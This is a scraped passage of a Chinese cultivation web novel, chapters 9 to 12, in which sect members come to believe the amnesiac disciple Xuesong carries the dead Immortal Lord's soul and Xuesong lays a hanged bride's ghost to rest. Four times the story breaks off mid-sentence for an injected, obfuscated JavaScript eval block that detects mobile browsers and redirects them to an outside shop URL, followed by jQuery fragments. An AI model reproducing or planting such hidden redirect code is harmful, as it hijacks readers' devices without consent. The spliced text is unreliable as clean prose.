;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553890|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皮肤发紫,呼吸急促,喉咙肿胀,一口一口往外吐血,艰难发出求救和哀嚎,时不时翻滚着,如同被放在火焰上烘烤的活鱼,十分凄惨可怜。
他也没有解药,也没有带解毒丹,所以只是看了看他们,仍然摇了摇头,从他们中间路过,按照前方的痕迹,继续往前走。
他在一片紫竹林,找到了浑身带伤的胡来,还有胡来带着的,没有中毒或者中了毒还能自由活动的,剩下的那些队员。
他们每一个都鲜血淋漓,衣衫不整,头发灰扑扑的,好像刚刚经历过一场恶战,相互靠着喘气,脸色惨白,要死不活的样子。
出于好心,长青再次劝告他们:“还是不要进去比较好。”
胡来像是因为这句话突然得到了力量,皱着眉头,脸色铁青,猛然间跳了起来,大怒道:“不要进去?我们都走到这里了!怎么能说回去就回去?现在回去,之前受的苦不是白受了吗?我是绝不回去的!”
他说着,转过身,好像身上的伤都突然不痛了,又往前走去,虽然走起路来一瘸一拐的,但没有一点要放弃的意思。
至于其他人,胡来已经是他们之中修为最高的,胡来想要往前走,他们就不得不跟随,否则,就得单独回去,可是他们失去了最强的战斗力,又怎么可能回得去?
完完整整来的时候,跟着最强的队长,都会受伤,浑身鲜血淋漓,还失去了最强的队长,他们哪里有本事回去?
他们一脸苦相,咬牙坚持着,暗暗说服自己,雪松比他们先来,身边还没有队长,实力又不见得强到多少,受的伤一定比他们重,等他们见了人,一定要好好嘲笑一番!
前面忽然一阵地动山摇,所有人都站不稳,脚跟摔倒在地上,只能仰头往前看,看见天空中,一阵祥云彩雾,缓缓落下。
而在一切事件的中心点,一个闭着眼睛浑身鲜血淋漓的人正坐在那里,气息直冲云霄,显然是刚刚突破,手边还有一堆空了的丹药瓶子。
最重要的不是这个,而是他身边正站着一个一身白衣的人,这个人的脸和他一模一样,但气质截然不同。
如果说他像阳春白雪,他身边那个人,就像是凌厉的刚出鞘的剑,像冬日里照着阳光的雪,像深秋里,暗沉沉的寒潭里的冰。
毫无疑问,因为脸,他们的气质是有相似之处的,比如,都像雪一样冷,但又因为姿态的不同,他们的区别之处也是异常明显的。
站着的那个,一副保护的姿态,坐着的那个,正在缓缓睁开眼睛,他们对视了一眼,没有人怀疑,他们那个时候还看得见别人。
所有人都陷入了极度的震惊之中,以至于无法言语,全都僵在原地,瞳孔微微放大,聚精会神注视着眼前的一切。
那个一看就像是死而复生的仙尊的人,在众人眼前,逐渐消失。
9. 第 9 章
胡来呆愣在原地,忍不住冲着已经消失的仙尊的残影,情绪十分激动,大喊了一声:“仙尊!”
只有雪松看了他一眼,从椅子上站起身来,缓步向他走来。
他猛然间打了个哆嗦,因为雪松那张和仙尊一模一样的脸,感到了彻骨的寒意,有一瞬间以为,面前的人就是仙尊。
他下意识扑通一声跪了下去,为自己在仙尊面前直视和大喊,也为自己心里对雪松十分轻佻的藐视,低声喃喃道:“仙尊,我知道错了,请不要离开我,我愿意接受一切惩罚……”
他说着,不由自主把头低了下去,周围一片安静,好像他不是在人群之中,而是在寂静的墓园,他几乎能听得见自己的呼吸声。
他忽然恍惚起来,分不清今夕何夕,不知仙尊究竟是死了还是没死,已经开始想,也许仙尊的死亡只是自己的一场梦而已。
雪松的笑声打破了他的幻想,毫不客气,甚至有点轻佻,含着一种浓黑的毒蛇般的恶意,缓缓问:“你对着我喊谁?”
胡来猛然一惊,从那种侥幸的幻梦中脱离,回过神来,意识到自己认错了人,恼羞成怒,脸色涨得通红,一下子从地上站了起来,直勾勾盯着面前的人。
即使到了这种时候,他也仍然会为那张和仙尊一模一样的脸而感到,心中一紧,但同时,他没有什么时候比现在更加深刻意识到,这不是仙尊,只是另外一个长得和仙尊一模一样的人罢了。
仔细看的时候就能发现,雪松的脸确实更加年轻稚嫩,如同一个少年人,气质也是偏活泼的类型,他还比仙尊更加爱笑。
但如果是仙尊,胡来几乎是不受控制,回忆起了初次见到仙尊的情形——
那时候他还只是一个新生弟子,宗门如日中天,数不清的人慕名而来,仿佛溯回的鱼群,他们都知道仙尊,知道宗门里有那么一个,仿佛永远伫立在雪山之巅的最强者。
有许多人来到宗门的唯一目的就是见到仙尊,只要见到一面,哪怕只是一眼,他们也心满意足,好像死而无憾。
他们狂热而冲动,鲁莽而直白,勇敢而大胆,好像数不清的星星连成一片,点燃了草原上的干燥稀薄的空气,让一切事件的氛围都变得热闹而无所顾忌。
他们好像能做成任何事,哪怕是把冰川融化成水。在没有见到仙尊的时候,他们都是这么想的。
但是仙尊第一次出现在他们这些新生弟子面前的时候,是在新生弟子大会上,作为一个宗主演讲的旁观者,面无表情,冷静自持。
他从来没有见过那么像冰的人,自那以后,也再没有见过那么,高高在上,目中无人,如同一颗永远追逐不到的,启明星一样的存在。
他以为自己有机会的,可是仙尊死了,那样一个举世无敌的人死了,他再也没有机会了,他没有办法再接近仙尊,甚至不能再看见仙尊。
他还以为像仙尊那样的人永远不会露出温和的表情,对谁都是一视同仁的冷冷淡淡,他并不觉得过分。
像仙尊那样强大而地位极高的存在,如果表现得平易近人,恐怕身边的狂蜂浪蝶,就真像天上的星星一样多了。
正因为仙尊一视同仁,他才能确定,仙尊是不会偏心,不会徇私的人,在这样的人的保护下,他才能确定,他不是会被轻易抛弃的。
他亲眼见过,连宗主那样的身份地位,仙尊也不曾多看一眼,多说一个字,可想而知,仙尊不会因为任何尊贵的身份,而将他人的生死置之度外。
仙尊总是这样,以天下大事为己任,不能低头顾及他们草虾浮鱼这样的人,也是很正常的。
可是为什么?为什么他今天居然能看见,仙尊露出那种从未见过的温和表情?他为什么能看见,仙尊居然也会有目光留恋之人?
仙尊居然也会有为了保护一个人而将他人置之不顾的时候?这个人是什么人?有那么重要吗?仙尊的儿子?不对!仙尊从来没有儿子!
更何况,那种温和的目光,更像是——
更像是爱?
胡来为自己意识到的情况猛然一抖,大为震惊,仔仔细细将面前的人重新打量了一番,仙尊的脸当然无可挑剔,但怎么看也配不上啊!
仙尊怎么会喜欢这种小毛头?他究竟哪里招人喜欢了?总不能是一见钟情吧?不可能不可能!仙尊才不会对人一见钟情!
胡来顿时恼羞成怒,像一只明明被摸得很爽但是还要咬人一口的可坏可坏的流浪猫,对着雪松,大声喊道:“你究竟是什么人?”
雪松耸了耸肩,看得出来他翻滚变化的心路历程,一脸不怀好意的微笑道:“我是今年的新生弟子雪松,你来找我麻烦,还不知道我是谁吗?”
胡来愣了一下,随后反应过来,像一只理不清毛线团反而被困住的猫,恨不得呜一口咬到毛线团里面,把整个毛线都吞进肚子里,十分烦躁大怒道:“我知道你是新生弟子,也知道你叫雪松,我是问你,你的脸为什么和仙尊一样?你是仙尊的什么人?”
“脸一样,也许是恰好,”雪松似笑非笑说,“至于我和仙尊,没有什么关系。”
他在长老面前都不会承认自己是仙尊,更何况,是一个不熟悉的,有些冒犯,又合不来的新生弟子试炼会的队长。
“没有关系?”胡来一时觉得心里空落落的,好像有些失望,一时又觉得庆幸,像仙尊那样的人,本来就该高高在上,不染尘埃,怎么可能轻易被凡人拖累?
他用十分复杂的目光把雪松看了看,缓缓摇头否定了,用一种十分沉痛的语气:“不可能,你们绝对有关系,我从来没有见过仙尊用那么温和的表情和目光看过任何一个人,你是第一个也是唯一一个,即使
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553891|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你觉得你和仙尊没有关系,仙尊——”
他顿了顿,表情有些扭曲,十分艰难,说出了对于自己而言异常难以接受的话:“仙尊也一定和你有关系。”
他宁愿相信仙尊和宗主有关系,都不愿意相信仙尊和雪松有关系,因为仙尊和宗主真的一点关系也没有,但是仙尊和雪松,真的可能有非常深厚密切的不为人知的关系!
眼看着再不阻止,胡来还可能继续追问下去,甚至可能强迫失忆的雪松回忆究竟和仙尊有什么关系,长青连忙上前阻止。
“长老有话要对你说,”长青走到了胡来面前,把徽章摘下来递给他,一脸严肃说,“是很重要的事,你必须要听。”
胡来皱了皱眉,确实还想继续追问,但是被他挡住了,看了看他手里的徽章,发现长老确实在另外一头,不得不黑着一张脸拿起来:“您最好确实有重要的事跟我说。”
“是关于仙尊的,”长老很清楚他在乎什么,确实在开口的第一句话就抓住了他的注意力,“你们进的洞府是仙尊创的,你们看见的残影是仙尊留的,你们身边的丹药瓶是仙尊为雪松准备的,仙尊曾经说过自己有一个朋友,而且写过信,雪松也承认自己有一个朋友,而且写过信,你知道,这些意味着什么吧?”
胡来如遭雷击,往后踉跄着退了一步,重新把雪松看了看,用一种全新的目光,仿佛听见了自己世界观破碎的声音,喃喃自语:“仙尊的,朋友?仙尊居然有这么一个朋友?”
听他的声音好像是不相信的样子,长老又说:“雪松在没有人引导和指点的情况下,能自己找到分配的洞府地点,也能直接找到仙尊给他创的洞府,知道这意味着什么吗?”
胡来好像被马当胸踢了一蹄子,再次往后踉跄,一脸震惊的空白,好像完全不会思考一样,喃喃问:“意味着什么?”
长老叹了一口气,无可奈何,又意味深长,缓缓道:“仙尊曾经单独带领雪松在宗门转过,也曾经单独带领雪松,在新生试炼地,一点一点创了一个洞府,还隐瞒起来,只让雪松一个人知道,他们的关系,哪怕不是朋友,也绝对非比寻常。”
仿佛是担心他仍然想不出来,长老十分贴心又残忍,循循善诱对他说:“你想,什么时候,你会避开所有人带着另外一个人在宗门转圈,什么关系,你会避开所有人,把另外一个人带到自己曾经走过的地方,当着他的面,为他创建只有自己和他两个人知道的,放满了他以后可能需要的东西的洞府?”
胡来倒吸一口凉气:“约会?婚房?”
他终于承受不住这种刺激,两眼一翻晕了过去。
周围跟他一起来的队员们见此情况大惊失色,猛然扑上去,围在他身边,像一堆亟待喂食的珍珠鸟,一连声喊道:“队长!队长!你怎么了?你不要有事啊!你死了我们怎么办啊?”
10. 第 10 章
站在不远处旁听了一切的雪松眯了眯眼睛,露出了怀疑人生的表情,他怎么不知道自己什么时候和大号有那么密切的关系了?
长青看了他一眼,一个箭步窜上去,从地上捡起了掉落的徽章,随手拍了拍,重新别在自己的胸口,有点担心刚才的内容会刺激到雪松,导致他再次失忆,连忙对他说:“长老就是随便猜猜,不知道真假的。”
雪松一时搞不清楚,长青说这个是什么意思,将信将疑,点了点头,若有所思:“是吗?”
长青看着他那个若有所思的表情,浑身一紧,后背突然开始冒冷汗。
奇了怪了,雪松和仙尊平时的气质差距挺大的,怎么一到这种关键时候他们就,完全好像是一个人一样?!雪松现在的气势和神色,根本就是仙尊!好恐怖,好可怕!
等等——
长青突然觉得自己想通了某个关窍。
该不会仙尊现在确实,就沉睡在雪松的身体里吧?以仙尊的骄傲,哪怕是沉睡,也肯定不愿意改名换姓或者改头换面的。
那雪松和仙尊一模一样的脸,还有那个一模一样的名字,就可以解释了!
雪松的身体修为过低,哪怕只是接纳沉睡的仙尊的残魂余魄,也会受到极强烈的冲击,冲击表现出来的结果就是雪松失去部分记忆。
说不定,只失去部分记忆,也是在仙尊的保护下才得到的,比较好的一种情况了。
因为以仙尊的修为,哪怕是沉睡中的残魂,要进入雪松那种毫无修为的身体里,也是很有可能导致雪松直接爆体而亡的。
而雪松现在毫无疑问是活着的,可想而知,仙尊的沉睡有多么彻底,灵魂有多么虚弱,又为了保护雪松,付出了多少努力!
这种事,雪松不可能不知道,毕竟是发生在自己身体里的,更何况,以仙尊的骄傲,他不会也不屑,去强迫任何一个,不愿意接纳自己的存在。
说不定这件事,还是雪松一力促成,仙尊无可奈何,不想他失望,也不想他孤苦无依,才勉强答应下来的。
这也可以解释,雪松提起失忆的时候为什么表情那么平静,好像只不过是一件普通的事,而不是忘记了一个重要的朋友。
因为即使他忘记了前因后果,他的身体的本能也在告诉他,不必担心,不必忧虑,仙尊与他同在,他们没有分开,自然可以平静。
长青倒吸一口凉气。
雪松疑惑看着他,不知他又想到了什么,关心问:“怎么了?之前解的毒还有残余吗?”
“我想起一些事,”长青忽然有些不敢直视雪松的那张脸,不管什么时候,冒犯仙尊都是一件极其恐怖的事情,他暂时还做不到那种事情,语气不由自主变得十分恭敬,好像面对仙尊一样,“我可能需要先退出一下,你能自己一个人完成新生试炼吗?”
“当然可以。”雪松对于他这种恭敬的态度,十分适应,毕竟从前当仙尊的时候,几乎每个人见到他都是这种态度,他一点也不觉得奇怪,也不觉得不舒服,点了点头,一脸平静回答。
“那我就先走了。”长青低着头,迅速退出了新生试炼地,找到了长老,把自己刚才想到的东西全都说了出来。
长老听完之后,像他一样倒吸了一口冷气:“你说的很有道理!很有可能就是这样!刚才雪松对你的态度就像是仙尊一样,就算是徒弟或者儿子,也绝对做不到这种程度!
那种理所当然面对别人恭敬的时候的样子,完全就是仙尊!仙尊的残魂一定在他的身体里!”
长老说得兴奋起来,一边走来走去,一边握着拳头,喃喃自语:“是啊,虽然我们都亲眼看见仙尊的死亡,但是,仙尊的强大是我们无法想象的,而且比我们任何一个人都强。
谁能肯定他一定死了,而且绝没有复活的机会呢?也许他算无遗策,留了后手,只是为了安全起见,除了雪松,没有告诉任何人罢了!”
长青点了点头,跟着思考道:“关于死后复活这种这么重要的大事,居然告诉了雪松,而且只告诉了雪松,可想而知,他们的关系有多么好!”
这次,连长青也忍不住感慨:“仙尊对雪松,真是用情至深,雪松对仙尊,也算是情深义重,他们真是两心相许啊!”
“可是按雪松的年纪,”长老摸了摸下巴,忽然有点疑惑,“仙尊当年写信的时候,不大可能已经遇见了他,否则,他不会是现在这个年岁,他来的时候,我测过他的骨龄。”
长青反而对这事不太在乎,挥了挥手:“这还用说吗?一定是前世有缘!今生续上罢了。于修仙者而言,这不过是常事。”
他顿了顿,忽然来了兴趣,两只眼睛像狐狸一样放着精光,充满了即将搞事的兴致勃勃说:“他们是不是前世有缘,只要测一测就知道了,我这里有个办法!”
“什么办法?”长老也有些好奇。
“琉璃村那里有一面前世姻缘镜,”长青眯着眼睛,呵呵呵笑了起来,“只要让人站在镜子面前照一照,就能看见前世的姻缘,要是前世没有姻缘,也能看见前世的住处和模样,雪松上辈子要是真和仙尊有所关系,那面镜子一定能让人看出来!”
长老点了点头,觉得这个办法不错,只是照镜子应该刺激不到什么,就笑着问:“那你打算怎么让他去照镜子呢?”
长青微笑着摸了摸下巴,一脸意味深长道:“我看过任务处的档案,最近正有一件任务,任务地点就在琉璃村,只要让雪松领了这个任务,我就和他一起去,到时候,悄无声息,让他照一照镜子就是了。”
“那怎么让他愿意去呢?”长老又问。
“这事儿好办,”长青笑着说,“仙尊入宗后,第一个任务,目的地也是琉璃村,我只要把仙尊曾经去过的消息告
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553892|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诉雪松,我相信,他一定会毫不犹豫就去的。”
琉璃村,以琉璃为产业,四面八方的铺子,都用上了琉璃,五颜六色,十分辉煌,在阳光下更显得格外灿烂明亮,美丽极了。
人群在青石板的街道上穿梭,叫卖声从远处传来,这个地方,就连小摊贩上的镜子都比别处亮些,以至于声音混杂其中,使人头晕目眩,像是身处迷阵,鱼入笼中,龙游浅滩。
长青走在前面,雪松跟在后面,一路远离人群,走到了一片偏僻的树林之中,连阳光也照不到这里,一切都显得阴森森的。
树叶一层堆着一层,深绿色以至于发黑,一脚踩下去,好像一不小心陷进了污泥沼,总给人一种恐慌感。
长青停了下来,往左右看了看,掏出一个罗盘,确定了方位,罗盘上的指针直指指向不远处的一棵树,他走了过去:“就是这里。”
“这个任务很简单,”长青转头看向雪松,“以我的修为,是轮不到我的,所以,全靠你了?”
雪松往周围看了看,点了点头:“我知道了。”
他往那棵树上丢了一个鬼魂显影术,一身红衣,脖子上还套着麻绳的新娘,就在树枝上显出身形来,甚至当着他们的面晃了晃腿,一副十分悠闲的样子。
长青和雪松都注视着新娘,新娘愣了一下,意识到自己被看见了,连忙收起,本来准备捋一捋头发的手,正襟危坐,笑眯眯问:“二位有什么事吗?”
“你就是琉璃村前阵子在树林里上吊身亡的那个新娘?”雪松还记得临出门之前看过的任务简介,望着新娘,复述了一遍问。
新娘点了点头,从树上跳了下来,脖子上的绳子被拉直了一些,站在树边说:“我就是。”
“前阵子有人从这里路过,被你吓到了,”雪松看着新娘说,“你要么现在去轮回转世,要么被打得魂飞魄散,你选一个吧。”
“没有更温和一点的吗?”新娘皱了皱眉,露出为难的表情,甚至有些委屈问。
“没有。”雪松面无表情回答。
新娘长长叹了一口气,对此倒也并不意外,调整了一下心情,抬起头来说:“我选轮回转世,但是我走不了,我死了之后好像被困在这儿了,我没有办法,这不是我的错,也不是我的意愿,你们能帮我吗?”
“你被困在这里,”雪松垂了垂眼,目光怜悯说,“是因为你在这里自杀之后,还有执念未消,变成了地缚灵。”
新娘愣了一下,因为对鬼魂之事并不了解,缓了半天,回过神来试探着问:“这么说,只要我把执念消除,就可以从这离开?”
雪松点了点头。
新娘沉默了半天又说:“如果一定要说执念,大概只有那一个,我的房间抽屉里有一个红盒子,里面装着一颗我存了很久舍不得吃的糖,如果你能把那颗糖给我,我就没有什么可遗憾的了。”
11. 第 11 章
雪松找到了那颗糖转交给了新娘,新娘吞下去之后心满意足消散了。
临走之前,新娘告诉他们一件事,新娘之所以选择在结婚当天吊死在这里,是因为前一天晚上梦见了一个红衣新娘,告诉她,只要在结婚当天吊死在这里,七天之后,就能去极乐世界。
她本来是不信的,但当时突然就是很想那么干,所以就那么干了,如果他们之后有机会见到那个梦新娘,拜托转告一声,极乐世界她就不去了。
长青若有所思,对雪松说:“既然是七天之后,想必一时半会儿是等不到的,我们在附近找个住的地方,这几天随便转转吧?熟悉一下地形环境,要是到时候见了人,想要跑,我们也好追得上啊。”
雪松点了点头,也打算在有空的时候,在村子里转一转,找一找当初东西存放的位置,他记得他是在这个村子里存了东西的。
因为这是个村子,人比较多,东西要是随便找个地方放了,很有可能被人挖出来,所以他找了一个,一定可以帮他好好保存东西的地方,好巧不巧,他记得那个帮他保存东西的人,也是一个新娘。
不知道那个新娘,和刚才死去的那个新娘提到的梦新娘,是不是同一个。希望不是。最好不是。他的东西还没取回来呢!
二人商量好了,就在村子里闲逛起来,村子里的人见他们是生面孔,给他们指了一条路,说那边是专门接待外来客的,特别热闹,很多生意,比其他地方都更适合游玩,推荐他们去看看。
他们点了头,道了谢,顺着村民指出来的路,往那条据说是特别热闹的街走了过去,雪松停在了一扇通红的门前。
他直勾勾往里看去,看见了一个十分眼熟的新娘子,往里走了进去,长青愣了一下,不知他想要干什么,担心他可能有危险,也立刻跟了上去。
进门之前,长青为了以防万一,下意识抬头看了一眼,头顶上的门牌,只见那牌子上,用金粉写着三个硕大的字——
姻缘阁。
长青脚步一顿,面色顿时古怪起来。
好端端的,来姻缘阁做什么?总不会是为了求姻缘吧?路上看起来挺正常的,没有一点征兆啊?
难道是为了问一问那新娘子的姻缘?这倒是有可能。
长青勉强定了定心神,加快脚步,走进了姻缘阁,往前一看,雪松已经站在了一个红衣女子面前,他一个箭步冲了过去。
雪松和红衣女子都被他突然冲过来惊了一下,转头看向他,他刚刚站稳,就立刻微笑着说:“我就是进来看看,你们继续。”
雪松沉默一阵子,转头对红衣女子说:“我来取东西。”
红衣女子捂着嘴笑了笑说:“我这是姻缘阁,又不是储物间,你要找东西,怎么找到这里来了?”
雪松深吸一口气,不想在这里多待,有一点不耐烦,皱了皱眉,直勾勾盯着红衣女子说:“你叫媚娘,从前就在这里开店,以前就是帮人保管东西的,别人把东西放在你这儿,你难道还想私吞不成?”
媚娘皱了皱眉,直起身来,神色严肃,把他打量了一番,认出了他的脸,只是不敢相信,他是当初来存东西的那个人,下意识否定说:“我当初确实替别人保管过东西,不过那已经是很久以前的事了,以你的年纪,你根本不可能在我这儿存过东西。”
“你看着我这张脸,”雪松冷冷说,“再说一遍,我没有?”
他把脸一冷下来,就十分像仙尊了,除了容貌上稍微还有一些年纪轻的感觉,没有任何一点多余的不一样。
媚娘看着他愣了一下,想起当初仙尊过来的时候,也是这样一张脸,也是冷冷淡淡的样子,也是年纪十分轻,刹那间好像时光流转,又回到了过去,恍惚中喃喃道:“太像了。”
雪松皱了皱眉,虽然他并不掩饰自己和仙尊的相同之处,但他并不喜欢别人把他当成仙尊,毕竟这两个是完全不同的身份,在实力弱小的时候认领了仙尊的身份,只会死得更惨,所以他露出了厌烦到近乎厌恶的神色。
虽然他没办法对自己狠下心来露出真正的厌恶,但厌烦是真的,因为他一点也不想在这多待了,这里人太多,气味太杂太重,声音太吵闹,根本不是他喜欢的地方,所以顺势而为,要露出一点厌恶,也是很容易的。
不过,这个表情看在旁边的长青眼里,就完全不是那么一回事了。
因为忘记了朋友的名字,所以认为仙尊和自己朋友完全是两个人,又因为总是被人提起,长相类似仙尊,所以对仙尊产生了厌恶之情。
但又因为隐约能感觉到仙尊和自己的朋友的关系,而无法狠下心来真正厌恶,符合雪松心软善良的个性,这确实合情合理。
但这么一想,仙尊就有些可怜了起来。
虽然对自己的爱人尽心尽力,却被忘掉了名字,还因为有一张相似的脸,所以常常在爱人面前被提起,而导致厌恶。
哪怕爱人记得自己曾经做过的事,却不记得是自己做的,一切都被归到一个根本不存在的朋友的头上。
这真是——
太棒了!
长青对仙尊只有尊敬之情,若是普通的事情,或许会因为那点尊敬而为仙尊说两句话。
毕竟仙尊是已经死了的人,他和一个死人争什么也没意思,不如维护一二,在别人面前,还可以显得他好像心善。
但如果事情和雪松有关,他只会对仙尊幸灾乐祸,毕竟,他对雪松的兴趣远大于仙尊,他接近雪松的可能也远大于仙尊。
再说了,仙尊那么强,只要有机会活过来,大概真的可能活过来,只要重新见到雪松,也仍然记得他们从前那些事——
恐怕在第一时间就会把雪松重新纳入自己的羽翼范围之内,用不着别人可怜,别人也根本争不过他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553893|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
一个修为低下又身份低微的宗门弟子,拿什么去可怜宗门的挂名长老呢?与其可怜别人,还不如照顾好自己,看看究竟能不能,把眼前那团尚且柔软的雪,纳入怀中。
长青试图趁虚而入,对雪松轻声道:“要不改天再来吧?”免得真从这拿到了什么东西,一不小心想起了那个朋友的名字,那就不妙了。
雪松顿了顿,面色缓和,用一种狐疑的目光看了他一眼,皱起眉头:“你有什么事要做?”你没事催我走干什么?
长青感觉到目光中的狐疑,但仗着雪松记忆缺失,大概想不出什么,并不畏惧,也能看得见雪松的脸色缓和,心中一喜,便立刻觉得,只提现在,也许自己在雪松心里比仙尊还好些呢,否则,看见他有什么可缓和的呢?
他对雪松语气十分轻松温和,微笑道:“我看你好像不太喜欢这儿,如果今天实在坚持不下去,改天再来也可以嘛。”
雪松沉默了。
刚才好像演得太过了?他虽然确实不喜欢这里,但他也确实想今天就拿到他的东西,放的时间越久越不妥当,要是不小心被弄丢了,那就更糟糕了。
他摇了摇头,调整了一下表情,让自己看起来好像还可以坚持一段时间,十分认真说:“不,我今天就要拿到东西。”
长青愣了一下,直勾勾盯着他,感觉他应该不知道,他现在的脸色有多么苍白,目光有多么恍惚。
看起来,多么像一个失去丈夫,悲痛欲绝,却心有不甘,还在强行咬牙坚持的,苍白可怜的未亡人。
让人看了,只想发了疯一样把他抱在怀里,用咬牙切齿的语气质问他,为什么,为什么那样爱着一个死人?
那个人已经死了,不是吗?
长青脸上的表情全都消失,突然像是舞台后窥视表演者和观众的僵硬人偶,有一种诡异的恐怖感。
即使一点也不喜欢这个地方,也要待在这儿,即使一点也记不起来名字,也记得要拿东西,即使根本对不上身份,也舍不得真的厌恶,甚至说一句重话,即使自己已经不舒服了,也非要拿了东西再走,就那么爱吗?
长青的表情有一瞬间的扭曲,露出一种近乎于愤恨的神色,随后顿了顿,展示出一个非常正常温和甚至堪称友好的微笑,对雪松用一种呵护新长出来的鲜花幼苗似的语气,轻轻道:“那好吧,我也想看看你究竟要拿什么东西呢。”
雪松对此不置可否。
长青沉默了一阵子,忽然用一种让人毛骨悚然的微笑,语气分外轻松愉快,像唱歌似的,不经意间问:“你还记得,东西是谁放在这儿的吗?”
“我的朋友。”雪松脸上露出一闪而过的微微的笑,像清晨落在雪地上一闪而逝的柔软的阳光,毫不犹豫回答。
他当然知道,朋友是不存在的,但正是因为,这朋友是不存在的,才最好解决所有问题。
12. 第 12 章
听见熟悉的回答,长青忍不住在心里冷笑了一声,含着些许恶意,故意向雪松问:“你那个朋友长什么样子?”
雪松有心想要描述一二,但又担心他真的把人找来,于是,像之前一样,垂着眼,面无表情说:“不记得了。”
长青慢吞吞点了点头,心里忽然高兴了一下。
看吧,不管是什么人,不管有多么高的修为,多么高的地位,多么高的身份,照样得不到自己的爱人,甚至不管是脸还是名字,都没有被记住。
他又有什么可难过的呢?
旁边的老板媚娘终于反应过来,虽然已经大概相信了雪松说的那些话,但还是忍不住,想要再确认一下,看着雪松问:“你能拿出什么证据吗?”
雪松不耐烦问:“你要什么证据?”
媚娘想了想,想到当初仙尊把东西存放在自己这里的时候说的那句话,就看向雪松说:“如果你真的是来取东西的人,你一定知道,当初那位把东西放在我这里的时候,对我说了什么话吧?”
雪松记性不差,再加上这也算重要的事,更何况还有系统,毫不犹豫回答:“他说,到时候,你看见就知道了。”
媚娘愣了一下,想到了那时的事情——
仙尊冷着一张脸,走进店里,直接来到了老板面前,把手里的剑拍了上去,对老板说:“我要存东西。”
老板猛然一惊,说不清自己当时的感觉,是撞了冰山的船还是被冰山撞了的船,下意识往周围看了看。
周围所有人都像被冻住一样,悄悄观察着这里,却十分安静,没有一个人多走一步路,也没有一个人多说一句话,他们连呼吸都屏住了,好像生怕自己呼吸声太大,也会打扰别人一样。
老板就知道他们靠不住,深吸一口气,感觉空气好像都冷了几分,连自己肺里都充斥着冰渣子,勉强提起胆子来,还是忍不住战战兢兢,望着对面和自己隔着一个台子的仙尊,露出一个小心翼翼的笑容,试探着问:“您想要存什么?”
“这把剑。”仙尊抬了抬下巴,示意了一下放在柜台上的那把剑,仍然面无表情,回答了老板的问题。
老板颤巍巍把手伸出去试探了一下,发现这把剑没有要直接把自己削成一块一块的意思,松了一口气,但还是不太敢直接碰,犹豫了一下,看向仙尊问:“请问是直接存吗?”
仙尊本来想点头的,看老板一副担惊受怕的样子,意识到对面好像对存放这把剑有所疑虑,迟疑了一下,从系统仓库里掏出了一个盒子,把剑放了进去,注视了一阵,盖上盖子,对老板说:“就这么存吧。”
老板缓缓目光下移看向那个盒子,发现那是一个通红色的,仿佛结婚时才用的,鸳鸯礼盒,愣了一下,吃了一惊,瞪大眼睛,忍不住问:“您确定要用这个盒子吗?”
老板有些怀疑仙尊根本不知道这盒子意味着什么,小心翼翼试探着说:“这个盒子,这个盒子,颜色是不是有些太鲜亮了?”
老板本来想直说,这个盒子在某些地方约等于聘礼的,但是又怕说出来,冒犯了仙尊,不得好死,不太敢,于是在心里委婉了十七八个弯,最后说出来的,也只有颜色的事。
仙尊垂眼看了看那盒子,没察觉出来有什么不对,肯定回答:“就用这个。”
这是他在系统那边签到得到的奖励,以他现在的冷漠冰山人设,实在是不太适合用,拿出来,别人会以为他脑子坏掉了或者中了诅咒,要么就是被人替换掉了,总之不会觉得他是自愿的。
虽然不知道下一个账号的人设是怎么样的,但应该和现在不一样,到时候也许可以用,那就没什么可顾忌的了。
最重要的是,他把这个盒子连同那把剑存在这里,一时半会儿都不会再看见这个盒子了,不用担心拿错,他觉得这很好。
老板敏锐察觉到自己在问完刚才的问题之后,仙尊的心情似乎好了一些,立刻意识到,也许仙尊是故意用这个盒子的。
也对,仙尊是什么人?有实力有修为,身份高地位高,怎么可能不知道这盒子代表的意思呢?也许是有心上人,但又不想直说,怕冒犯了对方,才用这种委婉的方式来试探。
